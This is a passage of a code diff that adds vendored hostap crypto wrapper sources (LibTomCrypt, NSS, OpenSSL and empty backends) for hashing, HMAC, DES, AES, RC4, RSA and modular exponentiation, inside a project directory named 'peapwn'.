0; i < sizeof(k_pad); i++) + k_pad[i] ^= 0x5c; + SHA1Init(&ctx->u.sha1); + SHA1Update(&ctx->u.sha1, k_pad, sizeof(k_pad)); + SHA1Update(&ctx->u.sha1, mac, 20); + SHA1Final(mac, &ctx->u.sha1); + break; +#ifdef CONFIG_SHA256 + case CRYPTO_HASH_ALG_HMAC_SHA256: + if (*len < 32) { + *len = 32; + os_free(ctx); + return -1; + } + *len = 32; + + sha256_done(&ctx->u.sha256, mac); + + os_memcpy(k_pad, ctx->key, ctx->key_len); + os_memset(k_pad + ctx->key_len, 0, + sizeof(k_pad) - ctx->key_len); + for (i = 0; i < sizeof(k_pad); i++) + k_pad[i] ^= 0x5c; + sha256_init(&ctx->u.sha256); + sha256_process(&ctx->u.sha256, k_pad, sizeof(k_pad)); + sha256_process(&ctx->u.sha256, mac, 32); + sha256_done(&ctx->u.sha256, mac); + break; +#endif /* CONFIG_SHA256 */ + default: + os_free(ctx); + return -1; + } + + os_free(ctx); + + return 0; +} + + +int crypto_global_init(void) +{ + return 0; +} + + +void crypto_global_deinit(void) +{ +} diff --git a/peapwn/mods/hostap/src/crypto/crypto_libtomcrypt.c b/peapwn/mods/hostap/src/crypto/crypto_libtomcrypt.c new file mode 100644 index 000000000..a55edd14e --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/crypto_libtomcrypt.c @@ -0,0 +1,726 @@ +/* + * WPA Supplicant / Crypto wrapper for LibTomCrypt (for internal TLSv1) + * Copyright (c) 2005-2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include + +#include "common.h" +#include "crypto.h" + +#ifndef mp_init_multi +#define mp_init_multi ltc_init_multi +#define mp_clear_multi ltc_deinit_multi +#define mp_unsigned_bin_size(a) ltc_mp.unsigned_size(a) +#define mp_to_unsigned_bin(a, b) ltc_mp.unsigned_write(a, b) +#define mp_read_unsigned_bin(a, b, c) ltc_mp.unsigned_read(a, b, c) +#define mp_exptmod(a,b,c,d) ltc_mp.exptmod(a,b,c,d) +#endif + + +int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) +{ + hash_state md; + size_t i; + + md4_init(&md); + for (i = 0; i < num_elem; i++) + md4_process(&md, addr[i], len[i]); + md4_done(&md, mac); + return 0; +} + + +void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) +{ + u8 pkey[8], next, tmp; + int i; + symmetric_key skey; + + /* Add parity bits to the key */ + next = 0; + for (i = 0; i < 7; i++) { + tmp = key[i]; + pkey[i] = (tmp >> i) | next | 1; + next = tmp << (7 - i); + } + pkey[i] = next | 1; + + des_setup(pkey, 8, 0, &skey); + des_ecb_encrypt(clear, cypher, &skey); + des_done(&skey); +} + + +int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) +{ + hash_state md; + size_t i; + + md5_init(&md); + for (i = 0; i < num_elem; i++) + md5_process(&md, addr[i], len[i]); + md5_done(&md, mac); + return 0; +} + + +int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) +{ + hash_state md; + size_t i; + + sha1_init(&md); + for (i = 0; i < num_elem; i++) + sha1_process(&md, addr[i], len[i]); + sha1_done(&md, mac); + return 0; +} + + +void * aes_encrypt_init(const u8 *key, size_t len) +{ + symmetric_key *skey; + skey = os_malloc(sizeof(*skey)); + if (skey == NULL) + return NULL; + if (aes_setup(key, len, 0, skey) != CRYPT_OK) { + os_free(skey); + return NULL; + } + return skey; +} + + +void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt) +{ + symmetric_key *skey = ctx; + aes_ecb_encrypt(plain, crypt, skey); +} + + +void aes_encrypt_deinit(void *ctx) +{ + symmetric_key *skey = ctx; + aes_done(skey); + os_free(skey); +} + + +void * aes_decrypt_init(const u8 *key, size_t len) +{ + symmetric_key *skey; + skey = os_malloc(sizeof(*skey)); + if (skey == NULL) + return NULL; + if (aes_setup(key, len, 0, skey) != CRYPT_OK) { + os_free(skey); + return NULL; + } + return skey; +} + + +void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain) +{ + symmetric_key *skey = ctx; + aes_ecb_encrypt(plain, (u8 *) crypt, skey); +} + + +void aes_decrypt_deinit(void *ctx) +{ + symmetric_key *skey = ctx; + aes_done(skey); + os_free(skey); +} + + +struct crypto_hash { + enum crypto_hash_alg alg; + int error; + union { + hash_state md; + hmac_state hmac; + } u; +}; + + +struct crypto_hash * crypto_hash_init(enum crypto_hash_alg alg, const u8 *key, + size_t key_len) +{ + struct crypto_hash *ctx; + + ctx = os_zalloc(sizeof(*ctx)); + if (ctx == NULL) + return NULL; + + ctx->alg = alg; + + switch (alg) { + case CRYPTO_HASH_ALG_MD5: + if (md5_init(&ctx->u.md) != CRYPT_OK) + goto fail; + break; + case CRYPTO_HASH_ALG_SHA1: + if (sha1_init(&ctx->u.md) != CRYPT_OK) + goto fail; + break; + case CRYPTO_HASH_ALG_HMAC_MD5: + if (hmac_init(&ctx->u.hmac, find_hash("md5"), key, key_len) != + CRYPT_OK) + goto fail; + break; + case CRYPTO_HASH_ALG_HMAC_SHA1: + if (hmac_init(&ctx->u.hmac, find_hash("sha1"), key, key_len) != + CRYPT_OK) + goto fail; + break; + default: + goto fail; + } + + return ctx; + +fail: + os_free(ctx); + return NULL; +} + +void crypto_hash_update(struct crypto_hash *ctx, const u8 *data, size_t len) +{ + if (ctx == NULL || ctx->error) + return; + + switch (ctx->alg) { + case CRYPTO_HASH_ALG_MD5: + ctx->error = md5_process(&ctx->u.md, data, len) != CRYPT_OK; + break; + case CRYPTO_HASH_ALG_SHA1: + ctx->error = sha1_process(&ctx->u.md, data, len) != CRYPT_OK; + break; + case CRYPTO_HASH_ALG_HMAC_MD5: + case CRYPTO_HASH_ALG_HMAC_SHA1: + ctx->error = hmac_process(&ctx->u.hmac, data, len) != CRYPT_OK; + break; + } +} + + +int crypto_hash_finish(struct crypto_hash *ctx, u8 *mac, size_t *len) +{ + int ret = 0; + unsigned long clen; + + if (ctx == NULL) + return -2; + + if (mac == NULL || len == NULL) { + os_free(ctx); + return 0; + } + + if (ctx->error) { + os_free(ctx); + return -2; + } + + switch (ctx->alg) { + case CRYPTO_HASH_ALG_MD5: + if (*len < 16) { + *len = 16; + os_free(ctx); + return -1; + } + *len = 16; + if (md5_done(&ctx->u.md, mac) != CRYPT_OK) + ret = -2; + break; + case CRYPTO_HASH_ALG_SHA1: + if (*len < 20) { + *len = 20; + os_free(ctx); + return -1; + } + *len = 20; + if (sha1_done(&ctx->u.md, mac) != CRYPT_OK) + ret = -2; + break; + case CRYPTO_HASH_ALG_HMAC_SHA1: + if (*len < 20) { + *len = 20; + os_free(ctx); + return -1; + } + /* continue */ + case CRYPTO_HASH_ALG_HMAC_MD5: + if (*len < 16) { + *len = 16; + os_free(ctx); + return -1; + } + clen = *len; + if (hmac_done(&ctx->u.hmac, mac, &clen) != CRYPT_OK) { + os_free(ctx); + return -1; + } + *len = clen; + break; + default: + ret = -2; + break; + } + + os_free(ctx); + + return ret; +} + + +struct crypto_cipher { + int rc4; + union { + symmetric_CBC cbc; + struct { + size_t used_bytes; + u8 key[16]; + size_t keylen; + } rc4; + } u; +}; + + +struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, + const u8 *iv, const u8 *key, + size_t key_len) +{ + struct crypto_cipher *ctx; + int idx, res, rc4 = 0; + + switch (alg) { + case CRYPTO_CIPHER_ALG_AES: + idx = find_cipher("aes"); + break; + case CRYPTO_CIPHER_ALG_3DES: + idx = find_cipher("3des"); + break; + case CRYPTO_CIPHER_ALG_DES: + idx = find_cipher("des"); + break; + case CRYPTO_CIPHER_ALG_RC2: + idx = find_cipher("rc2"); + break; + case CRYPTO_CIPHER_ALG_RC4: + idx = -1; + rc4 = 1; + break; + default: + return NULL; + } + + ctx = os_zalloc(sizeof(*ctx)); + if (ctx == NULL) + return NULL; + + if (rc4) { + ctx->rc4 = 1; + if (key_len > sizeof(ctx->u.rc4.key)) { + os_free(ctx); + return NULL; + } + ctx->u.rc4.keylen = key_len; + os_memcpy(ctx->u.rc4.key, key, key_len); + } else { + res = cbc_start(idx, iv, key, key_len, 0, &ctx->u.cbc); + if (res != CRYPT_OK) { + wpa_printf(MSG_DEBUG, "LibTomCrypt: Cipher start " + "failed: %s", error_to_string(res)); + os_free(ctx); + return NULL; + } + } + + return ctx; +} + +int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, + u8 *crypt, size_t len) +{ + int res; + + if (ctx->rc4) { + if (plain != crypt) + os_memcpy(crypt, plain, len); + rc4_skip(ctx->u.rc4.key, ctx->u.rc4.keylen, + ctx->u.rc4.used_bytes, crypt, len); + ctx->u.rc4.used_bytes += len; + return 0; + } + + res = cbc_encrypt(plain, crypt, len, &ctx->u.cbc); + if (res != CRYPT_OK) { + wpa_printf(MSG_DEBUG, "LibTomCrypt: CBC encryption " + "failed: %s", error_to_string(res)); + return -1; + } + return 0; +} + + +int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, + u8 *plain, size_t len) +{ + int res; + + if (ctx->rc4) { + if (plain != crypt) + os_memcpy(plain, crypt, len); + rc4_skip(ctx->u.rc4.key, ctx->u.rc4.keylen, + ctx->u.rc4.used_bytes, plain, len); + ctx->u.rc4.used_bytes += len; + return 0; + } + + res = cbc_decrypt(crypt, plain, len, &ctx->u.cbc); + if (res != CRYPT_OK) { + wpa_printf(MSG_DEBUG, "LibTomCrypt: CBC decryption " + "failed: %s", error_to_string(res)); + return -1; + } + + return 0; +} + + +void crypto_cipher_deinit(struct crypto_cipher *ctx) +{ + if (!ctx->rc4) + cbc_done(&ctx->u.cbc); + os_free(ctx); +} + + +struct crypto_public_key { + rsa_key rsa; +}; + +struct crypto_private_key { + rsa_key rsa; +}; + + +struct crypto_public_key * crypto_public_key_import(const u8 *key, size_t len) +{ + int res; + struct crypto_public_key *pk; + + pk = os_zalloc(sizeof(*pk)); + if (pk == NULL) + return NULL; + + res = rsa_import(key, len, &pk->rsa); + if (res != CRYPT_OK) { + wpa_printf(MSG_ERROR, "LibTomCrypt: Failed to import " + "public key (res=%d '%s')", + res, error_to_string(res)); + os_free(pk); + return NULL; + } + + if (pk->rsa.type != PK_PUBLIC) { + wpa_printf(MSG_ERROR, "LibTomCrypt: Public key was not of " + "correct type"); + rsa_free(&pk->rsa); + os_free(pk); + return NULL; + } + + return pk; +} + + +struct crypto_private_key * crypto_private_key_import(const u8 *key, + size_t len, + const char *passwd) +{ + int res; + struct crypto_private_key *pk; + + pk = os_zalloc(sizeof(*pk)); + if (pk == NULL) + return NULL; + + res = rsa_import(key, len, &pk->rsa); + if (res != CRYPT_OK) { + wpa_printf(MSG_ERROR, "LibTomCrypt: Failed to import " + "private key (res=%d '%s')", + res, error_to_string(res)); + os_free(pk); + return NULL; + } + + if (pk->rsa.type != PK_PRIVATE) { + wpa_printf(MSG_ERROR, "LibTomCrypt: Private key was not of " + "correct type"); + rsa_free(&pk->rsa); + os_free(pk); + return NULL; + } + + return pk; +} + + +struct crypto_public_key * crypto_public_key_from_cert(const u8 *buf, + size_t len) +{ + /* No X.509 support in LibTomCrypt */ + return NULL; +} + + +static int pkcs1_generate_encryption_block(u8 block_type, size_t modlen, + const u8 *in, size_t inlen, + u8 *out, size_t *outlen) +{ + size_t ps_len; + u8 *pos; + + /* + * PKCS #1 v1.5, 8.1: + * + * EB = 00 || BT || PS || 00 || D + * BT = 00 or 01 for private-key operation; 02 for public-key operation + * PS = k-3-||D||; at least eight octets + * (BT=0: PS=0x00, BT=1: PS=0xff, BT=2: PS=pseudorandom non-zero) + * k = length of modulus in octets (modlen) + */ + + if (modlen < 12 || modlen > *outlen || inlen > modlen - 11) { + wpa_printf(MSG_DEBUG, "PKCS #1: %s - Invalid buffer " + "lengths (modlen=%lu outlen=%lu inlen=%lu)", + __func__, (unsigned long) modlen, + (unsigned long) *outlen, + (unsigned long) inlen); + return -1; + } + + pos = out; + *pos++ = 0x00; + *pos++ = block_type; /* BT */ + ps_len = modlen - inlen - 3; + switch (block_type) { + case 0: + os_memset(pos, 0x00, ps_len); + pos += ps_len; + break; + case 1: + os_memset(pos, 0xff, ps_len); + pos += ps_len; + break; + case 2: + if (os_get_random(pos, ps_len) < 0) { + wpa_printf(MSG_DEBUG, "PKCS #1: %s - Failed to get " + "random data for PS", __func__); + return -1; + } + while (ps_len--) { + if (*pos == 0x00) + *pos = 0x01; + pos++; + } + break; + default: + wpa_printf(MSG_DEBUG, "PKCS #1: %s - Unsupported block type " + "%d", __func__, block_type); + return -1; + } + *pos++ = 0x00; + os_memcpy(pos, in, inlen); /* D */ + + return 0; +} + + +static int crypto_rsa_encrypt_pkcs1(int block_type, rsa_key *key, int key_type, + const u8 *in, size_t inlen, + u8 *out, size_t *outlen) +{ + unsigned long len, modlen; + int res; + + modlen = mp_unsigned_bin_size(key->N); + + if (pkcs1_generate_encryption_block(block_type, modlen, in, inlen, + out, outlen) < 0) + return -1; + + len = *outlen; + res = rsa_exptmod(out, modlen, out, &len, key_type, key); + if (res != CRYPT_OK) { + wpa_printf(MSG_DEBUG, "LibTomCrypt: rsa_exptmod failed: %s", + error_to_string(res)); + return -1; + } + *outlen = len; + + return 0; +} + + +int crypto_public_key_encrypt_pkcs1_v15(struct crypto_public_key *key, + const u8 *in, size_t inlen, + u8 *out, size_t *outlen) +{ + return crypto_rsa_encrypt_pkcs1(2, &key->rsa, PK_PUBLIC, in, inlen, + out, outlen); +} + + +int crypto_private_key_sign_pkcs1(struct crypto_private_key *key, + const u8 *in, size_t inlen, + u8 *out, size_t *outlen) +{ + return crypto_rsa_encrypt_pkcs1(1, &key->rsa, PK_PRIVATE, in, inlen, + out, outlen); +} + + +void crypto_public_key_free(struct crypto_public_key *key) +{ + if (key) { + rsa_free(&key->rsa); + os_free(key); + } +} + + +void crypto_private_key_free(struct crypto_private_key *key) +{ + if (key) { + rsa_free(&key->rsa); + os_free(key); + } +} + + +int crypto_public_key_decrypt_pkcs1(struct crypto_public_key *key, + const u8 *crypt, size_t crypt_len, + u8 *plain, size_t *plain_len) +{ + int res; + unsigned long len; + u8 *pos; + + len = *plain_len; + res = rsa_exptmod(crypt, crypt_len, plain, &len, PK_PUBLIC, + &key->rsa); + if (res != CRYPT_OK) { + wpa_printf(MSG_DEBUG, "LibTomCrypt: rsa_exptmod failed: %s", + error_to_string(res)); + return -1; + } + + /* + * PKCS #1 v1.5, 8.1: + * + * EB = 00 || BT || PS || 00 || D + * BT = 01 + * PS = k-3-||D|| times FF + * k = length of modulus in octets + */ + + if (len < 3 + 8 + 16 /* min hash len */ || + plain[0] != 0x00 || plain[1] != 0x01 || plain[2] != 0xff) { + wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature EB " + "structure"); + return -1; + } + + pos = plain + 3; + while (pos < plain + len && *pos == 0xff) + pos++; + if (pos - plain - 2 < 8) { + /* PKCS #1 v1.5, 8.1: At least eight octets long PS */ + wpa_printf(MSG_INFO, "LibTomCrypt: Too short signature " + "padding"); + return -1; + } + + if (pos + 16 /* min hash len */ >= plain + len || *pos != 0x00) { + wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature EB " + "structure (2)"); + return -1; + } + pos++; + len -= pos - plain; + + /* Strip PKCS #1 header */ + os_memmove(plain, pos, len); + *plain_len = len; + + return 0; +} + + +int crypto_global_init(void) +{ + ltc_mp = tfm_desc; + /* TODO: only register algorithms that are really needed */ + if (register_hash(&md4_desc) < 0 || + register_hash(&md5_desc) < 0 || + register_hash(&sha1_desc) < 0 || + register_cipher(&aes_desc) < 0 || + register_cipher(&des_desc) < 0 || + register_cipher(&des3_desc) < 0) { + wpa_printf(MSG_ERROR, "TLSv1: Failed to register " + "hash/cipher functions"); + return -1; + } + + return 0; +} + + +void crypto_global_deinit(void) +{ +} + + +#ifdef CONFIG_MODEXP + +int crypto_mod_exp(const u8 *base, size_t base_len, + const u8 *power, size_t power_len, + const u8 *modulus, size_t modulus_len, + u8 *result, size_t *result_len) +{ + void *b, *p, *m, *r; + + if (mp_init_multi(&b, &p, &m, &r, NULL) != CRYPT_OK) + return -1; + + if (mp_read_unsigned_bin(b, (u8 *) base, base_len) != CRYPT_OK || + mp_read_unsigned_bin(p, (u8 *) power, power_len) != CRYPT_OK || + mp_read_unsigned_bin(m, (u8 *) modulus, modulus_len) != CRYPT_OK) + goto fail; + + if (mp_exptmod(b, p, m, r) != CRYPT_OK) + goto fail; + + *result_len = mp_unsigned_bin_size(r); + if (mp_to_unsigned_bin(r, result) != CRYPT_OK) + goto fail; + + mp_clear_multi(b, p, m, r, NULL); + return 0; + +fail: + mp_clear_multi(b, p, m, r, NULL); + return -1; +} + +#endif /* CONFIG_MODEXP */ diff --git a/peapwn/mods/hostap/src/crypto/crypto_none.c b/peapwn/mods/hostap/src/crypto/crypto_none.c new file mode 100644 index 000000000..011f3f35a --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/crypto_none.c @@ -0,0 +1,23 @@ +/* + * WPA Supplicant / Empty template functions for crypto wrapper + * Copyright (c) 2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto.h" + + +int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) +{ + return 0; +} + + +void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) +{ +} diff --git a/peapwn/mods/hostap/src/crypto/crypto_nss.c b/peapwn/mods/hostap/src/crypto/crypto_nss.c new file mode 100644 index 000000000..acd0a5528 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/crypto_nss.c @@ -0,0 +1,207 @@ +/* + * Crypto wrapper functions for NSS + * Copyright (c) 2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "common.h" +#include "crypto.h" + + +static int nss_hash(HASH_HashType type, unsigned int max_res_len, + size_t num_elem, const u8 *addr[], const size_t *len, + u8 *mac) +{ + HASHContext *ctx; + size_t i; + unsigned int reslen; + + ctx = HASH_Create(type); + if (ctx == NULL) + return -1; + + HASH_Begin(ctx); + for (i = 0; i < num_elem; i++) + HASH_Update(ctx, addr[i], len[i]); + HASH_End(ctx, mac, &reslen, max_res_len); + HASH_Destroy(ctx); + + return 0; +} + + +void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) +{ + PK11Context *ctx = NULL; + PK11SlotInfo *slot; + SECItem *param = NULL; + PK11SymKey *symkey = NULL; + SECItem item; + int olen; + u8 pkey[8], next, tmp; + int i; + + /* Add parity bits to the key */ + next = 0; + for (i = 0; i < 7; i++) { + tmp = key[i]; + pkey[i] = (tmp >> i) | next | 1; + next = tmp << (7 - i); + } + pkey[i] = next | 1; + + slot = PK11_GetBestSlot(CKM_DES_ECB, NULL); + if (slot == NULL) { + wpa_printf(MSG_ERROR, "NSS: PK11_GetBestSlot failed"); + goto out; + } + + item.type = siBuffer; + item.data = pkey; + item.len = 8; + symkey = PK11_ImportSymKey(slot, CKM_DES_ECB, PK11_OriginDerive, + CKA_ENCRYPT, &item, NULL); + if (symkey == NULL) { + wpa_printf(MSG_ERROR, "NSS: PK11_ImportSymKey failed"); + goto out; + } + + param = PK11_GenerateNewParam(CKM_DES_ECB, symkey); + if (param == NULL) { + wpa_printf(MSG_ERROR, "NSS: PK11_GenerateNewParam failed"); + goto out; + } + + ctx = PK11_CreateContextBySymKey(CKM_DES_ECB, CKA_ENCRYPT, + symkey, param); + if (ctx == NULL) { + wpa_printf(MSG_ERROR, "NSS: PK11_CreateContextBySymKey(" + "CKM_DES_ECB) failed"); + goto out; + } + + if (PK11_CipherOp(ctx, cypher, &olen, 8, (void *) clear, 8) != + SECSuccess) { + wpa_printf(MSG_ERROR, "NSS: PK11_CipherOp failed"); + goto out; + } + +out: + if (ctx) + PK11_DestroyContext(ctx, PR_TRUE); + if (symkey) + PK11_FreeSymKey(symkey); + if (param) + SECITEM_FreeItem(param, PR_TRUE); +} + + +int rc4_skip(const u8 *key, size_t keylen, size_t skip, + u8 *data, size_t data_len) +{ + return -1; +} + + +int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) +{ + return nss_hash(HASH_AlgMD5, 16, num_elem, addr, len, mac); +} + + +int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) +{ + return nss_hash(HASH_AlgSHA1, 20, num_elem, addr, len, mac); +} + + +int sha256_vector(size_t num_elem, const u8 *addr[], const size_t *len, + u8 *mac) +{ + return nss_hash(HASH_AlgSHA256, 32, num_elem, addr, len, mac); +} + + +void * aes_encrypt_init(const u8 *key, size_t len) +{ + return NULL; +} + + +void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt) +{ +} + + +void aes_encrypt_deinit(void *ctx) +{ +} + + +void * aes_decrypt_init(const u8 *key, size_t len) +{ + return NULL; +} + + +void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain) +{ +} + + +void aes_decrypt_deinit(void *ctx) +{ +} + + +int crypto_mod_exp(const u8 *base, size_t base_len, + const u8 *power, size_t power_len, + const u8 *modulus, size_t modulus_len, + u8 *result, size_t *result_len) +{ + return -1; +} + + +struct crypto_cipher { +}; + + +struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, + const u8 *iv, const u8 *key, + size_t key_len) +{ + return NULL; +} + + +int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, + u8 *crypt, size_t len) +{ + return -1; +} + + +int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, + u8 *plain, size_t len) +{ + return -1; +} + + +void crypto_cipher_deinit(struct crypto_cipher *ctx) +{ +} diff --git a/peapwn/mods/hostap/src/crypto/crypto_openssl.c b/peapwn/mods/hostap/src/crypto/crypto_openssl.c new file mode 100644 index 000000000..5215c00f1 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/crypto_openssl.c @@ -0,0 +1,1233 @@ +/* + * Wrapper functions for OpenSSL libcrypto + * Copyright (c) 2004-2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#ifdef CONFIG_OPENSSL_CMAC +#include +#endif /* CONFIG_OPENSSL_CMAC */ +#ifdef CONFIG_ECC +#include +#endif /* CONFIG_ECC */ + +#include "common.h" +#include "wpabuf.h" +#include "dh_group5.h" +#include "crypto.h" + +#if OPENSSL_VERSION_NUMBER < 0x00907000 +#define DES_key_schedule des_key_schedule +#define DES_cblock des_cblock +#define DES_set_key(key, schedule) des_set_key((key), *(schedule)) +#define DES_ecb_encrypt(input, output, ks, enc) \ + des_ecb_encrypt((input), (output), *(ks), (enc)) +#endif /* openssl < 0.9.7 */ + +static BIGNUM * get_group5_prime(void) +{ +#if OPENSSL_VERSION_NUMBER < 0x00908000 + static const unsigned char RFC3526_PRIME_1536[] = { + 0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xC9,0x0F,0xDA,0xA2, + 0x21,0x68,0xC2,0x34,0xC4,0xC6,0x62,0x8B,0x80,0xDC,0x1C,0xD1, + 0x29,0x02,0x4E,0x08,0x8A,0x67,0xCC,0x74,0x02,0x0B,0xBE,0xA6, + 0x3B,0x13,0x9B,0x22,0x51,0x4A,0x08,0x79,0x8E,0x34,0x04,0xDD, + 0xEF,0x95,0x19,0xB3,0xCD,0x3A,0x43,0x1B,0x30,0x2B,0x0A,0x6D, + 0xF2,0x5F,0x14,0x37,0x4F,0xE1,0x35,0x6D,0x6D,0x51,0xC2,0x45, + 0xE4,0x85,0xB5,0x76,0x62,0x5E,0x7E,0xC6,0xF4,0x4C,0x42,0xE9, + 0xA6,0x37,0xED,0x6B,0x0B,0xFF,0x5C,0xB6,0xF4,0x06,0xB7,0xED, + 0xEE,0x38,0x6B,0xFB,0x5A,0x89,0x9F,0xA5,0xAE,0x9F,0x24,0x11, + 0x7C,0x4B,0x1F,0xE6,0x49,0x28,0x66,0x51,0xEC,0xE4,0x5B,0x3D, + 0xC2,0x00,0x7C,0xB8,0xA1,0x63,0xBF,0x05,0x98,0xDA,0x48,0x36, + 0x1C,0x55,0xD3,0x9A,0x69,0x16,0x3F,0xA8,0xFD,0x24,0xCF,0x5F, + 0x83,0x65,0x5D,0x23,0xDC,0xA3,0xAD,0x96,0x1C,0x62,0xF3,0x56, + 0x20,0x85,0x52,0xBB,0x9E,0xD5,0x29,0x07,0x70,0x96,0x96,0x6D, + 0x67,0x0C,0x35,0x4E,0x4A,0xBC,0x98,0x04,0xF1,0x74,0x6C,0x08, + 0xCA,0x23,0x73,0x27,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF, + }; + return BN_bin2bn(RFC3526_PRIME_1536, sizeof(RFC3526_PRIME_1536), NULL); +#else /* openssl < 0.9.8 */ + return get_rfc3526_prime_1536(NULL); +#endif /* openssl < 0.9.8 */ +} + +#if OPENSSL_VERSION_NUMBER < 0x00908000 +#ifndef OPENSSL_NO_SHA256 +#ifndef OPENSSL_FIPS +#define NO_SHA256_WRAPPER +#endif +#endif + +#endif /* openssl < 0.9.8 */ + +#ifdef OPENSSL_NO_SHA256 +#define NO_SHA256_WRAPPER +#endif + +static int openssl_digest_vector(const EVP_MD *type, size_t num_elem, + const u8 *addr[], const size_t *len, u8 *mac) +{ + EVP_MD_CTX ctx; + size_t i; + unsigned int mac_len; + + EVP_MD_CTX_init(&ctx); + if (!EVP_DigestInit_ex(&ctx, type, NULL)) { + wpa_printf(MSG_ERROR, "OpenSSL: EVP_DigestInit_ex failed: %s", + ERR_error_string(ERR_get_error(), NULL)); + return -1; + } + for (i = 0; i < num_elem; i++) { + if (!EVP_DigestUpdate(&ctx, addr[i], len[i])) { + wpa_printf(MSG_ERROR, "OpenSSL: EVP_DigestUpdate " + "failed: %s", + ERR_error_string(ERR_get_error(), NULL)); + return -1; + } + } + if (!EVP_DigestFinal(&ctx, mac, &mac_len)) { + wpa_printf(MSG_ERROR, "OpenSSL: EVP_DigestFinal failed: %s", + ERR_error_string(ERR_get_error(), NULL)); + return -1; + } + + return 0; +} + + +int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) +{ + return openssl_digest_vector(EVP_md4(), num_elem, addr, len, mac); +} + + +void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher) +{ + u8 pkey[8], next, tmp; + int i; + DES_key_schedule ks; + + /* Add parity bits to the key */ + next = 0; + for (i = 0; i < 7; i++) { + tmp = key[i]; + pkey[i] = (tmp >> i) | next | 1; + next = tmp << (7 - i); + } + pkey[i] = next | 1; + + DES_set_key(&pkey, &ks); + DES_ecb_encrypt((DES_cblock *) clear, (DES_cblock *) cypher, &ks, + DES_ENCRYPT); +} + + +int rc4_skip(const u8 *key, size_t keylen, size_t skip, + u8 *data, size_t data_len) +{ +#ifdef OPENSSL_NO_RC4 + return -1; +#else /* OPENSSL_NO_RC4 */ + EVP_CIPHER_CTX ctx; + int outl; + int res = -1; + unsigned char skip_buf[16]; + + EVP_CIPHER_CTX_init(&ctx); + if (!EVP_CIPHER_CTX_set_padding(&ctx, 0) || + !EVP_CipherInit_ex(&ctx, EVP_rc4(), NULL, NULL, NULL, 1) || + !EVP_CIPHER_CTX_set_key_length(&ctx, keylen) || + !EVP_CipherInit_ex(&ctx, NULL, NULL, key, NULL, 1)) + goto out; + + while (skip >= sizeof(skip_buf)) { + size_t len = skip; + if (len > sizeof(skip_buf)) + len = sizeof(skip_buf); + if (!EVP_CipherUpdate(&ctx, skip_buf, &outl, skip_buf, len)) + goto out; + skip -= len; + } + + if (EVP_CipherUpdate(&ctx, data, &outl, data, data_len)) + res = 0; + +out: + EVP_CIPHER_CTX_cleanup(&ctx); + return res; +#endif /* OPENSSL_NO_RC4 */ +} + + +int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) +{ + return openssl_digest_vector(EVP_md5(), num_elem, addr, len, mac); +} + + +int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) +{ + return openssl_digest_vector(EVP_sha1(), num_elem, addr, len, mac); +} + + +#ifndef NO_SHA256_WRAPPER +int sha256_vector(size_t num_elem, const u8 *addr[], const size_t *len, + u8 *mac) +{ + return openssl_digest_vector(EVP_sha256(), num_elem, addr, len, mac); +} +#endif /* NO_SHA256_WRAPPER */ + + +static const EVP_CIPHER * aes_get_evp_cipher(size_t keylen) +{ + switch (keylen) { + case 16: + return EVP_aes_128_ecb(); + case 24: + return EVP_aes_192_ecb(); + case 32: + return EVP_aes_256_ecb(); + } + + return NULL; +} + + +void * aes_encrypt_init(const u8 *key, size_t len) +{ + EVP_CIPHER_CTX *ctx; + const EVP_CIPHER *type; + + type = aes_get_evp_cipher(len); + if (type == NULL) + return NULL; + + ctx = os_malloc(sizeof(*ctx)); + if (ctx == NULL) + return NULL; + EVP_CIPHER_CTX_init(ctx); + if (EVP_EncryptInit_ex(ctx, type, NULL, key, NULL) != 1) { + os_free(ctx); + return NULL; + } + EVP_CIPHER_CTX_set_padding(ctx, 0); + return ctx; +} + + +void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt) +{ + EVP_CIPHER_CTX *c = ctx; + int clen = 16; + if (EVP_EncryptUpdate(c, crypt, &clen, plain, 16) != 1) { + wpa_printf(MSG_ERROR, "OpenSSL: EVP_EncryptUpdate failed: %s", + ERR_error_string(ERR_get_error(), NULL)); + } +} + + +void aes_encrypt_deinit(void *ctx) +{ + EVP_CIPHER_CTX *c = ctx; + u8 buf[16]; + int len = sizeof(buf); + if (EVP_EncryptFinal_ex(c, 